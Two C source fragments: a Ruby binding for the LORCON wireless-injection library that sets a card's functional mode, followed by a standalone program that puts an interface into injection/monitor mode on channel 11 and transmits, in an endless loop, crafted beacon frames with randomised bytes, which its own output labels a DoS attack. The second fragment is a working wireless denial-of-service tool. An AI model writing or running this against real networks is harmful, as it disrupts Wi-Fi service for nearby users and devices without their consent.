static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) { struct rldev *rld; char *funcmode = StringValuePtr(rmode); int mode = -1; Data_Get_Struct(self, struct rldev, rld); if (strcmp(funcmode, "RFMON") == 0) { mode = TX80211_FUNCMODE_RFMON; } else if (strcmp(funcmode, "INJECT") == 0) { mode = TX80211_FUNCMODE_INJECT; } else if (strcmp(funcmode, "INJMON") == 0) { mode = TX80211_FUNCMODE_INJMON; } else { rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) { rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } return Qtrue; }
int main(int argc, char **argv) { struct tx80211 tx; struct tx80211_packet pkt; char p1[BEACON_NOSSID_LEN]; char p2[BEACON_SSID_LEN]; int ret, drivertype; uint8_t randbyte; if (argc < 3) { usage(argv); return 0; } printf("[+] Initializing interface %s...\n", argv[1]); drivertype = tx80211_resolvecard(argv[2]); if (drivertype == INJ_NODRIVER) { printf("[-] Driver name not recognized.\n"); exit(1); } ret = tx80211_init(&tx, argv[1], drivertype); if (ret < 0) { printf("[-] Error initializing %s/%s", argv[1], argv[2]); exit(1); } ret = tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON); if (ret != 0) { printf("[-] Error setting monitor mode.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } ret = tx80211_setchannel(&tx, 11); if (ret < 0) { printf("[-] Error setting channel.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } ret = tx80211_open(&tx); if (ret < 0) { printf("[-] Unable to open interface %s\n", tx.ifname); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } srand(time(NULL)); memcpy(p1, BEACON_NOSSID, BEACON_NOSSID_LEN); memcpy(p2, BEACON_SSID, BEACON_SSID_LEN); printf("[+] Injecting crafted DoS beacon frames...\n"); while (1) { randbyte = rand() & 0xff; p1[15] = randbyte; p1[21] = randbyte; p2[15] = randbyte; p2[21] = randbyte; pkt.packet = p1; pkt.plen = BEACON_NOSSID_LEN; if (tx80211_txpacket(&tx, &pkt) < 0) { printf("[-] Unable to transmit packet.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } pkt.packet = p2; pkt.plen = BEACON_SSID_LEN; if (tx80211_txpacket(&tx, &pkt) < 0) { printf("[-] Unable to transmit packet.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } } tx80211_close(&tx); return 0; }